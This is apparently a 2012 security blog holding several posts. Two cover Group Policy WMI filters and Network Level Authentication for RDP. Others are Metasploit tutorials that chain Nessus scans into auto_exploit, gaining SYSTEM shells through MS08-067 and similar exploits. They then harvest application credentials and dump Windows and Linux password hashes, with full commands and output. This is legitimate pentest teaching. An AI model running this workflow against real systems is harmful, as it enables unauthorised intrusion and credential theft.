WMI Filters in Group Policy Objects

March 19, 2012 by Carlos Perez

One of the problems that we see every day in production environments is that even when we would like to have all machines on the same version of Windows many times this is not possible so we have to adapt our Group Policies to these environments. Microsoft provides a great way to check several parameters of the box thru Windows Management Instrumentation (WMI), this allows is from checking Hardware, software, patches and many other attributes available via the Windows Management Instrumentation (WMI). Lets say we want the previous Group Policy we created to apply only to Windows 2008 R2, Windows 2008, Vista and Windows 7 and lets also make a filter for Windows XP and 2003 so if we decide to make a filter to apply a policy to only those we can apply the filter. We start by going to the Group Policy Management Console and choosing under the domain WMI Filters We now Right Click an select New to create a new filter. We will get a screen where we will enter a name and a description for our first filter that will be for Windows 2008, Windows 2008R2, Windows Vista and Windows 7, the operating systems that support Network Level Authentication (NLA) on Remote Desktop Protocol (RDP). Now we click on Add on the Queries section so as to add the WMI Query Language query we will use to filter to what Operating systems the policy is applied to: We will select from Win32_OperatingSystem the Version, this will give us a version number of 6.0 for Windows Vista and Windows 2008, 6.1 for Windows 2008 R2 and Windows 7. we will use:

SELECT * FROM Win32_OperatingSystem WHERE Version like "6.%"

We would click on Add type our filter and then just click on Ok:

We now click on save and the filter is ready to apply.

To apply a filter we just select the policy we want to apply the filter to and select from the WMI Filtering section the WMI Filter we want from the dropdown box:

In the case we wanted the filter to be for earlier supported versions of Windows we would use:

SELECT * FROM Win32_OperatingSystem WHERE Version LIKE "5.%"

If we wanted to even go more granular we could create separate filter for Product Type where:

ProductType 1 is for Client Versions of Windows

ProductType 2 is for Server Version of Windows operating as a Domain Controller

ProductType 3 for Server Version of Windows that are not a Domain Controller

If we wanted this to apply to all servers but not domain controller we could do a query like this one:

SELECT * FROM Win32_OperatingSystem WHERE (Version like "5.%" OR Version like "6.%") and ProductType<>2

As you can see there is a lot of flexibility with filters, specially since we can have several of them. As always I hope you find the post informative and useful.

Configuring Network Level Authentication for RDP

March 17, 2012 by Carlos Perez

Recently there has been a lot of attention given to the Remote Desktop Protocol for attacker. The protocol has seen a work in 2011 that abused week passwords and it’s features to copy files and infect other machines and now in 2012 there is a remote code execution bug in the protocol it self. Since the days of Vista and Windows 2008 Microsoft has provided a new mechanism for securing RDP connections with what they call Network Level Authentication, this uses Microsoft CredSSP Protocol to authenticate and negotiate credential type before handing off the connection to RDP Service.

CredSSP first establishes an encrypted channel between the client and the target server by using Transport Layer Security (TLS). Using the TLS connection as an encrypted channel; it does not rely on the client/server authentication services that are available in TLS but does uses it for validating identity. The CredSSP Protocol then uses the Simple and Protected Generic Security Service Application Program Interface Negotiation Mechanism (SPNEGO) Protocol Extensions to negotiate a Generic Security Services (GSS) mechanism that performs mutual authentication and GSS confidentiality services to securely bind to the TLS channel and encrypt the credentials for the target server. It should be noted that all GSS security tokens are sent over the encrypted TLS channel. This tokens can be NTL, Kerberos or PKI Authentication for SmartCards.

The graphic bellow illustrates how this is done:

Most brut force tools currently out there do not take in to account NLA, it would slow down the process even more and add another level of complexity. Since no packet will reach the RDP service until CredSSP has finished negotiation of the connection it protects the servers from DoS and exploits.

NLA is present in the latest versions of Windows, for Server:

Windows 2008
Windows 2008 R2
Windows 7
Windows Vista

On the client side:

Windows XP SP3
Windows Vista
Windows 7
Windows 2008
Windows 2008 R2
Remote Desktop Connection for Mac

NLA was introduced first with RDP 6.0 in Windows Vista and later on Windows XP SP3.

One of the biggest advantages also is that since TLS is used it will warn us if it can not validate the identity of the host we are connecting to. For this we will need a PKI infrastructure integrated with AD in our Windows environment. On a Windows 2008 environment we can install on a server the role of Active Directory Certificate Service to install a Enterprise CA accepting all defaults so it can provide Computer Certificates to the machines in the domain in an automated way using Group Policy.

Configuring a GPO for NLA

In this example I will show how to configure a GPO for issuing a Certificate to each host in the Domain and Configure NLA authentication for RDP. In a production environment you may wish to separate these or keep them in one policy depending on your AD design.

Lets start by selecting from Administrative Tools the Group Policy Management tool:

On the tool we create a New Group Policy Object:

We give this policy a Name:

Once created we edit this policy by right clicking on it an selecting Edit:

Now we select Computer Configuration/Policies/Windows Settings/Public Key Policies/Automatic Certificate Request Settings:

We now right click on Automatic Certificate Request Setting and select to create a new Automatic Certificate Request, this will request to the CA a new Computer Certificate and renew the certificate when it expires automatically.

When the wizard starts we click Next then we select Computer Certificate Template:

We click on Next and then on Finish. Now we select Computer Configuration/Policies/Windows Settings/Public Key Policies under that node we double click on Certificate Services Client – Auto-Enrollment we now select on the properties under Configuration Model we select Enable and make sure that the boxes for managing certificates in the store and for updating the certificate if the template is modified.

Now we have finished the section that will cover the certificate assignment for computers that get this GPO applied to.

For configuring RDP to use NLA we now go to Computer Configuration/Policies/Administrative Templates/Windows Components/Remote Desktop Settings/Remote Desktop Session Host/Security

Select Require user authentication for remote connections by using Network Level Authentication and double click on it. On the properties screen select Enable and click on OK.

Now lets configure the client settings to make sure that we always select to warn in the case the host certificate con not be authenticated. We select Computer Configuration/Policies/Administrative Templates/Windows Components/Remote Desktop Settings/Remote Desktop Connection Client

We double click on Configure Authentication for Client

Select Enable and set the Option to Warn me if authentication fails

Click on OK and close the screen. Know you should have a proper policy that cam be applied, but before we apply the policy we have to give permission on the Domain Computers group in the domain the permission to apply it:

And now we have a GPO that can be linked to any Domain in the forest or Organization Unit. Once applied when a connection is made we can see the security in use by clicking on the lock on the top of a Remote Desktop Session in Windows and it will tell us how we where authenticated:

On those host that do not have RDP enabled you will see that the only option available is to use NLA

As always I hope you find this blog post informative and useful.

Nessus 5 Making My Pentesting Workflow Easier

February 16, 2012 by Carlos Perez

With the recent release of Nessus 5 it comes with several improvements like better filtering in policy creation, analysis, reporting and a faster lighter engine for scanning. From this new features my favorite one is the ability to do filtering when creating new policies and analyzing results. For a very long time I kept a hand written list of plugins IDs that identified some of the most common found vulnerabilities that Metasploit covered for user with nessuscmd in my engagement. Now with the new filtering features that lets me select only those checks that cover vulnerabilities whose exploits are in exploit Frameworks like Core Impact and CANVAS, also one can filter for remote exploits or local ones also. In this blog post I will cover how to create a policy that covers all exploits found in Metasploit both local and remote. We will start by logging in to Nessus web interface and clicking on the Policies.

Once in policies we click on Add to be brought to the following screes where we can create one, we will put a name and brief description on the policy and let the rest as default:

We can go to the next section by clicking on Next and on this screen we can enter any credentials we may have as well as NTLM hashes for Windows credentials in the passwords field allowing for enumerating local vulnerabilities that might be on the target:

We now move to the plugin section by clicking on Next:

We start by clicking on Disable All and then click on Add Filter to create a new filter for the plugins. we set the filter for Metasploit Exploit Framework,set the action is equal to and value to true, we then click on Save to apply the filter:

To enable the plugins in each family we click on the family name text being careful not to click in the circle beside the name and then we click on Enable Plugins at the top of the plugin list:

Now we click on Next then on Save to save the policy.

Once saved we can use the nessus plugin from the console to connect to the scanner and use it from inside Metasploit. You can use the console in Armitage, MSFConsole or the one in Metasploit Community/Pro/Express to load the plugin for use:

msf > load nessus 
[*] Nessus Bridge for Metasploit 1.1
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus

Once the plugin is loaded we can connect to the host that is running the Nessus server using the nessus_connect command and list the policies we have available to us with nessus_policy_list:

msf > nessus_connect carlos:contasena@localhost ok
[*] Connecting to https://localhost:8834/ as carlos
[*] Authenticated
msf > nessus_policy_list 
[+] Nessus Policy List
[+] 
ID  Name                        Comments
--  ----                        --------
-1  External Network Scan       
-2  Internal Network Scan       
-3  Prepare for PCI DSS audits  
-4  Web App Tests               
6   Metasploit Exploits

We can now use the policy to perform a scan of a network by using the policy ID, name for the scan and specifying a range using the nessus_scan_new command:

msf > nessus_scan_new 6 "contoso pentest" 192.168.1.1-241
[*] Creating scan from policy number 6, called "contoso pentest" and scanning 192.168.1.1-241
[*] Scan started.  uid is 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554

We can monitor the status of the scan using the command nessus_scan_status:

msf > nessus_scan_status 
[+] Running Scans
[+] 
Scan ID                                               Name             Owner   Started            Status   Current Hosts  Total Hosts
-------                                               ----             -----   -------            ------   -------------  -----------
396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554  contoso pentest  carlos  11:53 Feb 16 2012  running  217            241
[+] 
[*] You can:
[+]         Import Nessus report to database :     nessus_report_get <reportid>
[+]         Pause a nessus scan :             nessus_scan_pause <scanid>
msf >

Once we can see that the scan is no longer running we can access the report using from the scan using the nessus_report_list command to see its name and ID:

msf > nessus_report_list 
[+] Nessus Report List
[+] 
ID                                                    Name             Status     Date
--                                                    ----             ------     ----
396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554  contoso pentest  completed  11:58 Feb 16 2012
[*] You can:
[*]         Get a list of hosts from the report:          nessus_report_hosts <report id>

Now that we have the report ID we can import it but before we do that we must first create a workspace to hose the data so as to keep it separated from any other data we may already be housing in the Metasploit default wroksapace and we use the nessus_report_get command to import the report:

msf > workspace -a contoso
[*] Added workspace: contoso
msf > nessus_report_get 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554
[*] importing 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554
[*] 192.168.1.99
[*] 192.168.1.241
[*] 192.168.1.237
[*] 192.168.1.235
[*] 192.168.1.234
[*] 192.168.1.230
[*] 192.168.1.223
[*] 192.168.1.2
[*] 192.168.1.192
[*] 192.168.1.156
[*] 192.168.1.155
[*] 192.168.1.154
[*] 192.168.1.153
[*] 192.168.1.146
[*] 192.168.1.143
[*] 192.168.1.134
[*] 192.168.1.113
[*] 192.168.1.109
[*] 192.168.1.102
[*] 192.168.1.100
[*] 192.168.1.1
[+] Done

After the import you can look at the vulnerabilities found by using the vulns command:

msf > vulns
[*] Time: 2012-02-16 16:01:44 UTC Vuln: host=192.168.1.1 port=443 proto=tcp name=Nessus SYN scanner refs=NSS-11219
[*] Time: 2012-02-16 16:01:37 UTC Vuln: host=192.168.1.2 port=111 proto=tcp name=Nessus SYN scanner refs=NSS-11219
[*] Time: 2012-02-16 16:01:37 UTC Vuln: host=192.168.1.2 port=445 proto=tcp name=Microsoft Windows SMB Log In Possible refs=MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394
[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=445 proto=tcp name=MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check) refs=CVE-2008-4250,BID-31874,OSVDB-49243,IAVA-2008-A-0081,MSFT-MS08-067,CWE-94,MSF-Microsoft Server Service Relative Path Stack Corruption,NSS-34477
[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=53 proto=tcp name=Nessus SNMP Scanner refs=NSS-14274
[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=445 proto=tcp name=Microsoft Windows SMB Log In Possible refs=MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394
[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.100 port=59159 proto=tcp name=netstat portscanner (SSH) refs=NSS-14272
[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.102 port=62078 proto=tcp name=Nessus SYN scanner refs=NSS-11219
[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.109 port=62078 proto=tcp name=Nessus SYN scanner refs=NSS-11219
.......

Once we confirm that vulnerabilities where found we can use the auto_exploit plugin I wrote and updated for this blogpost, it can be found at https://github.com/darkoperator/Metasploit-Plugins/blob/master/auto_exploit.rb you just need to put a copy of it in your OSX/Linux host in to ~/.msf4/plugins so as to be able to use it. We start by loading it and looking at the options of the vuln_exploit command that will allow us to exploit the hosts found to be vulnerable:

msf > load auto_exploit 
[*] auto_exploit plug-in loaded.
[*] Successfully loaded plugin: auto_exploit
msf > vuln_exploit -h
OPTIONS:
    -f <opt>  Provide a comma separated list of IP's and Ranges to skip when running exploits.
    -h        Command Help
    -j <opt>  Max number of concurrent jobs, 3 is the default.
    -m        Only show matched exploits.
    -r <opt>  Minimum Rank for exploits (low, average,normal,good,great and excellent) good is the default.
    -s        Do not limit number of sessions to one per target.

To launch the exploits found we just use the vuln_exploit command, this will analyze the vulnerabilities found and match them modules in the framework launching by default 3 exploits at a time auto configured with the best possible payload for the platform and limiting to one session per host:

msf > vuln_exploit
[*] Generating List for Matching...
[*] Matching Exploits (This will take a while depending on number of hosts)...
[+] Matched Exploits:
[+]     192.168.1.153 exploit/windows/smb/ms08_067_netapi 445 500
[+]     192.168.1.113 exploit/windows/smb/ms08_067_netapi 445 500
[+]     192.168.1.99 exploit/windows/smb/ms08_067_netapi 445 500
[+]     192.168.1.192 exploit/windows/smb/ms08_067_netapi 445 500
[+]     192.168.1.153 exploit/windows/dcerpc/ms03_026_dcom 135 500
[+]     192.168.1.154 exploit/linux/samba/lsa_transnames_heap 445 400
[+]     192.168.1.113 exploit/windows/smb/ms06_040_netapi 445 400
[+]     192.168.1.153 exploit/windows/smb/ms04_011_lsass 445 400
[+]     192.168.1.153 exploit/windows/smb/ms06_040_netapi 445 400
[+]     192.168.1.153 exploit/windows/smb/ms05_039_pnp 445 400
[+]     192.168.1.153 exploit/windows/smb/ms04_007_killbill 445 100
[*] Running Exploits:
[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.153
[*] Started reverse handler on 192.168.1.241:29271 
[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.113
[*] Automatically detecting the target...
[*] Started reverse handler on 192.168.1.241:4643 
[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.99
[*] Started reverse handler on 192.168.1.241:14900 
[*] Automatically detecting the target...
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[*] Fingerprint: Windows 2000 - Service Pack 4 with MS05-010+ - lang:English
[*] Selected Target: Windows 2000 Universal
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.99
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.153
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.113
[*] waiting for finishing some modules... active jobs: 3 / threads: 16
[*] Meterpreter session 1 opened (192.168.1.241:14900 -> 192.168.1.99:1513) at 2012-02-16 12:54:23 -0400
[*] Meterpreter session 2 opened (192.168.1.241:29271 -> 192.168.1.153:2709) at 2012-02-16 12:54:23 -0400
[*] Meterpreter session 3 opened (192.168.1.241:4643 -> 192.168.1.113:4035) at 2012-02-16 12:54:23 -0400
[*] waiting for finishing some modules... active jobs: 0 / threads: 19
[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.192
[+]     Skipping 192.168.1.153 exploit/windows/dcerpc/ms03_026_dcom because a session already exists.
[*] Started reverse handler on 192.168.1.241:15430 
[*] Running exploit/linux/samba/lsa_transnames_heap against 192.168.1.154
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[+]     Skipping 192.168.1.113 exploit/windows/smb/ms06_040_netapi because a session already exists.
[*] Started reverse handler on 192.168.1.241:48452 
[+]     Skipping 192.168.1.153 exploit/windows/smb/ms04_011_lsass because a session already exists.
[*] Creating nop sled....
[+]     Skipping 192.168.1.153 exploit/windows/smb/ms06_040_netapi because a session already exists.
[+]     Skipping 192.168.1.153 exploit/windows/smb/ms05_039_pnp because a session already exists.
[+]     Skipping 192.168.1.153 exploit/windows/smb/ms04_007_killbill because a session already exists.
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...
[*] Attempting to trigger the vulnerability...
msf > [*] Sending stage (752128 bytes) to 192.168.1.192
[*] Meterpreter session 4 opened (192.168.1.241:15430 -> 192.168.1.192:1597) at 2012-02-16 12:54:29 -0400

We can now take a look at the sessions found using the sessions command:

msf > sessions 
Active sessions
===============
  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ CARLOS-CD652C1C  192.168.1.241:14900 -> 192.168.1.99:1513
  2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN2KADV01       192.168.1.241:29271 -> 192.168.1.153:2709
  3   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ TEST-01BCDAF47C  192.168.1.241:4643 -> 192.168.1.113:4035
  4   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ DBSQL2K01        192.168.1.241:15430 -> 192.168.1.192:1597

As you can see the mix of the the new filtering in Nessus 5 with the Nessus plugin and my auto_exploit plugin allows to one be less noisy and more tactical when it comes to exploitation when used in conjunction. Hope you found this blog post informative and useful as always.

Tip on Using My GitHub Repos

January 30, 2012 by Carlos Perez

I was recently asked what would be the best way to use my Metasploit projects in a an easy manner, so I will share how I did my setup for both OS X and Backtrack for using my plugins and modules. Let start first with creating a Development folder in the users home directory to house the GitHub repos

mkdir ~/Development

After this you can clone the repos in to this folder:

cd ~/Deveolpment
git clone https://github.com/darkoperator/Metasploit-Plugins.git msf_plugins
git clone https://github.com/darkoperator/Meterpreter-Scripts.git msf_modules

Now we can link the modules to our ~/.msf4 directory so we can use them transparently with any instance of the framework we might be running on the machine:

ln -s ~/Development/msf_plugins/ ~/.msf4/plugins
ln -s ~/Development/msf_modules/ ~/.msf4/modules

To keep them updated is just a simple git pull in each directory to get the latest changes and bug fixes.

Update on 2012-02-14 02:19 by Carlos Perez

After postting the tip I got feedback from people that told me that the links wehere not working for Linux users, the reason is that ln works differently in OS X from Linux. On Linux the commands are:

ln -s ~/Development/msf_plugins ~/.msf4/plugins
ln -s ~/Development/msf_modules ~/.msf4/modules

The difference is the slash at the end of the path to link.

Metasploit Pentest Plugin Part 2

January 29, 2012 by Carlos Perez

This is the second part of my Pentest Metasploit plugin. This part will cover the post exploitation commands this plugin adds. First I would like to cover the thought process of this commands. The commands came from some modules I pushed and then had to pull from the Metasploit Framework around summer of 2011 that sadly did not comply with some of the rules on what modules where supposed to do and the post mixin did not allowed me to do. I created a Metasploit plugin that added the functionality of the modules I wrote to the console, the initial plugin is called auto post and can be found in my GitHub account https://github.com/darkoperator/Metasploit-Plugins Several of the main design features I took when developing this section of the pentest plugin where:

Provide a way to run post modules where I could select the sessions to run the modules against.
Do not pollute the datastore with Global variables like it would be needed with a resource file.
Check that thee session is a compatible one before running the module.
Allow to automate some of the most common tasks like password collection from applications and the OS user credentials.
Allow the setting os several variables per module in a resource file in an easy manner so each module could be executed in a manner that would produce the best results.

To use the plugin you only need to download it from my GitHub account and place it in either ~.msf/plugins or in you Metasploit root folder plugins directory for use, sadly at the moment of this writing the tab completion for when loading the plug in will only work if the plugin is on the Metasploit plugins folder of the install and not the hidden home folder.

Sessions that will be used for showing the plugin usage:

msf  exploit(handler) > sessions -l

Active sessions
===============

Id  Type                   Information                                      Connection
--  ----                   -----------                                      ----------
1   shell linux                                                             192.168.1.100:4448 -> 192.168.1.229:47760
2   meterpreter x86/win32  TEST-01BCDAF47C\Administrator @ TEST-01BCDAF47C  192.168.1.100:4444 -> 192.168.1.113:1858
3   meterpreter x86/win32  WIN-YR4V852V71Y\Administrator @ WIN-YR4V852V71Y  192.168.1.100:4444 -> 192.168.1.156:49183
4   shell windows          Microsoft Windows [Version 6.1.7601]             192.168.1.100:4447 -> 192.168.1.225:49582
5   shell linux                                                             192.168.1.100:4448 -> 192.168.1.119:33595

Loading the module:

msf  exploit(handler) > load pentest 
postauto plugin loaded.
[*] Successfully loaded plugin: pentest

The Post Exploitation commands addd are:

Postauto Commands
=================

    Command             Description
    -------             -----------
    app_creds           Run application password collection modules against specified sessions.
    multi_cmd           Run shell command against several sessions
    multi_meter_cmd     Run a Meterpreter Console Command against specified sessions.
    multi_meter_cmd_rc  Run resource file with Meterpreter Console Commands against specified sessions.
    multi_post          Run a post module against specified sessions.
    multi_post_rc       Run resource file with post modules and options against specified sessions.
    sys_creds           Run system password collection modules against specified sessions.

Lets take a look at the app_creds command, this command will run all post exploitation modules that gather credentials from installed applications, first lets take a look at the options it provide:

msf  exploit(handler) > app_creds -h

OPTIONS:

    -h        Command Help
    -s <opt>  Sessions to run modules against. Example <all> or <1,2,3,4>

The options are quite simple we can tell it what sessions we want to run in a comma separated list or just type 'all' and have it run against all sessions. Lets run it against all the current sessions:

msf > app_creds -s all

Running windows/gather/credentials/wsftp_client against 2

[*] Checking Default Locations...
[*] C:\Documents and Settings\Administrator\Application Data\Ipswitch\WS_FTP\Sites\ws_ftp.ini not found ....
[*] C:\Documents and Settings\Administrator\Application Data\Ipswitch\WS_FTP Home\Sites\ws_ftp.ini not found ....

Running windows/gather/credentials/wsftp_client against 3
[*] Checking Default Locations...
[*] C:\Users\charlie\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini not found ....
[*] C:\Users\charlie\AppData\Roaming\Ipswitch\WS_FTP Home\Sites\ws_ftp.ini not found ....
[*] C:\Users\Administrator\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini not found ....
[*] C:\Users\Administrator\AppData\Roaming\Ipswitch\WS_FTP Home\Sites\ws_ftp.ini not found ....

Running windows/gather/credentials/winscp against 2
[*] Looking for WinSCP.ini file storage...
[*] WinSCP.ini file NOT found...
[*] Looking for Registry Storage...
[*] No WinSCP Registry Keys found!
[*] Done!

Running windows/gather/credentials/winscp against 3
[*] Looking for WinSCP.ini file storage...
[*] WinSCP.ini file NOT found...
[*] Looking for Registry Storage...
[*] No WinSCP Registry Keys found!
[*] Done!
………

Running multi/gather/filezilla_client_cred against 4
[*] No users found with a FileZilla directory

Running multi/gather/filezilla_client_cred against 5
[*] Checking for FileZilla Client profile in: /home/carlos
[*] Checking for FileZilla Client profile in: /home/lost+found
[*] Checking for FileZilla Client profile in: /root
[*] No users found with a FileZilla directory

The command will run each module sequentially against the current sessions, output of each of the commands is shown as they are executed. The credential harvesting post modules save their results in the credentials table. To look at the just issue the command creds, another thing is that the target host for this credentials are also stored in the hosts table:

msf  exploit(handler) > creds

Credentials
===========

host          port  user    pass      type      active?
----          ----  ----    ----      ----      -------
1.1.1.1       21    carlos  marta     password  true
10.10.1.1     21    test    tessqwwe  password  true
10.10.10.10   21    msf     test      password  true
10.10.10.100  22    test    resroass  password  true
192.168.1.1   21    msf     test      password  true

[*] Found 5 credentials.
msf  exploit(handler) > hosts 

Hosts
=====

address        mac  name             os_name            os_flavor  os_sp  purpose  info  comments
-------        ---  ----             -------            ---------  -----  -------  ----  --------
1.1.1.1                                                                                  
10.10.1.1                                                                                
10.10.10.10                                                                              
10.10.10.100                                                                             
192.168.1.1                                                                              
192.168.1.115       CARLOS-192FCD91  Microsoft Windows  XP         SP3    client

The next command for gathering information is the sys_creds, this command will choose the appropriate credential dumping command depending on the sessions type and OS, in the case of windows system it will attempt to get system privilege to be able to dump the hashes, they to can be found in the creds table and in loot. Options:

msf  exploit(handler) > sys_creds -h

OPTIONS:

    -h        Command Help
    -s <opt>  Sessions to run modules against. Example <all> or <1,2,3,4>

Running the command:

msf  exploit(handler) > sys_creds -s all

...

Running windows/gather/smart_hashdump against 1
[*] Running module against CARLOS-192FCD91
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /Users/carlos/.msf4/loot/20120125082528_default_192.168.1.115_windows.hashes_690213.txt
[*] Dumping password hashes...
[*] Trying to get SYSTEM privilege
[+] Got SYSTEM privilege
[*]     Obtaining the boot key...
[*]     Calculating the hboot key using SYSKEY f228f68360a9fbdd929f311d27192e90...
[*]     Obtaining the user list and keys...
[*]     Decrypting user keys...
[*]     Dumping password hashes...
[+]     Administrator:500:bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203:::
[+]     HelpAssistant:1000:4ce17cdda3f0d92227a09c3d34957704:8fd71d48142454572de5fa172f579392:::
[+]     SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:520e865e1977f048b70841950e491b2e:::
[+]     HR:1003:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

Running windows/gather/smart_hashdump against 2
[*] Running module against TEST-01BCDAF47C
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /Users/carlos/.msf4/loot/20120125082534_default_192.168.1.113_windows.hashes_233919.txt
[*] Dumping password hashes...
[*] Trying to get SYSTEM privilege
[+] Got SYSTEM privilege
[*]     Obtaining the boot key...
[*]     Calculating the hboot key using SYSKEY 4503ffd18cd3ee70d443b159c8626842...
[*]     Obtaining the user list and keys...
[*]     Decrypting user keys...
[*]     Dumping password hashes...
[+]     Administrator:500:bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203:::
[+]     HelpAssistant:1000:17520fb9c159a6be8a692d4f186288a5:4ad260d25ad790417f1a4ef3c44103b2:::
[+]     SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ec48ef68e471506ab31f656bf5741d63:::

Running linux/gather/hashdump against 3
[+] root:$1$1lQhcdo0$QpqLgMYl1r4nerxr9GQDn0:0:0:root:/root:/bin/bash
[+] nscd:!!:28:28:NSCD Daemon:/:/sbin/nologin
[+] vcsa:!!:69:69:virtual console memory owner:/dev:/sbin/nologin
[+] oprofile:!!:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
[+] pcap:!!:77:77::/var/arpwatch:/sbin/nologin
[+] ntp:!!:38:38::/etc/ntp:/sbin/nologin
[+] dbus:!!:81:81:System message bus:/:/sbin/nologin
[+] avahi:!!:70:70:Avahi daemon:/:/sbin/nologin
[+] rpc:!!:32:32:Portmapper RPC user:/:/sbin/nologin
[+] apache:!!:48:48:Apache:/var/www:/sbin/nologin
[+] mailnull:!!:47:47::/var/spool/mqueue:/sbin/nologin
[+] smmsp:!!:51:51::/var/spool/mqueue:/sbin/nologin
[+] sshd:!!:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
[+] xfs:!!:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
[+] rpcuser:!!:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
[+] nfsnobody:!!:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
[+] haldaemon:!!:68:68:HAL daemon:/:/sbin/nologin
[+] gdm:!!:42:42::/var/gdm:/sbin/nologin
[+] carlos:$1$1lQhcdo0$QpqLgMYl1r4nerxr9GQDn0:500:500:Carlos Perez:/home/carlos:/bin/bash
[+] Unshadowed Password File: /Users/carlos/.msf4/loot/20120125082541_default_192.168.1.119_linux.hashes_102504.txt

Running linux/gather/hashdump against 4
[-] You must run this module as root!

Looking at the gathered info using loot since system hashes are saved there:

msf  exploit(handler) > creds

Credentials
===========

host           port  user              pass                                                               type      active?
----           ----  ----              ----                                                               ----      -------
...
192.168.1.113  445   HelpAssistant     17520fb9c159a6be8a692d4f186288a5:4ad260d25ad790417f1a4ef3c44103b2  smb_hash  true
192.168.1.113  445   Administrator     bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203  smb_hash  true
192.168.1.113  445   SUPPORT_388945a0  aad3b435b51404eeaad3b435b51404ee:ec48ef68e471506ab31f656bf5741d63  smb_hash  true
192.168.1.115  445   HR                44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4  smb_hash  true
192.168.1.115  445   SUPPORT_388945a0  aad3b435b51404eeaad3b435b51404ee:520e865e1977f048b70841950e491b2e  smb_hash  true
192.168.1.115  445   HelpAssistant     4ce17cdda3f0d92227a09c3d34957704:8fd71d48142454572de5fa172f579392  smb_hash  true
192.168.1.115  445   Administrator     bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203  smb_hash  true

[*] Found 12 credentials.
msf  exploit(handler) > loot

Loot
====

host           service  type                          name                              content     info                                path
----           -------  ----                          ----                              -------     ----                                ----
192.168.1.113           windows.hashes                TEST-01BCDAF47C_hashes.txt        text/plain  Windows Hashes                      /Users/carlos/.msf4/loot/20120125082534_default_192.168.1.113_windows.hashes_233919.txt
192.168.1.115           windows.hashes                CARLOS-192FCD91_hashes.txt        text/plain  Windows Hashes                      /Users/carlos/.msf4/loot/20120125082528_default_192.168.1.115_windows.hashes_690213.txt
192.168.1.115           ie.cookies                    ie_cookies.txt                    text/plain  Internet Explorer Cookies           /Users/carlos/.msf4/loot/20120125081022_default_192.168.1.115_ie.cookies_091073.txt
192.168.1.115           ie.history                    ie_history.txt                    text/plain  Internet Explorer Browsing History  /Users/carlos/.msf4/loot/20120125081022_default_192.168.1.115_ie.history_338823.txt
192.168.1.115           windows.autologin.user.creds  windows-autologin-user-creds.csv  text/csv    Windows AutoLogin User Credentials  /Users/carlos/.msf4/loot/20120125080927_default_192.168.1.115_windows.autologi_357557.csv
192.168.1.115           imail.user.creds              imail_user_creds.csv              text/csv    Ipswitch iMail user credentials     /Users/carlos/.msf4/loot/20120125080951_default_192.168.1.115_imail.user.creds_495255.csv
192.168.1.119           linux.hashes                  unshadowed_passwd.pwd             text/plain  Linux Unshadowed Password File      /Users/carlos/.msf4/loot/20120125082541_default_192.168.1.119_linux.hashes_102504.txt
192.168.1.119           linux.passwd                  passwd.tx                         text/plain  Linux Passwd File                   /Users/carlos/.msf4/loot/20120125082541_default_192.168.1.119_linux.passwd_327705.txt
192.168.1.119           linux.shadow                  shadow.tx                         text/plain  Linux Password Shadow File          /Users/carlos/.msf4/loot/20120125082541_default_192.168.1.119_linux.shadow_914385.txt

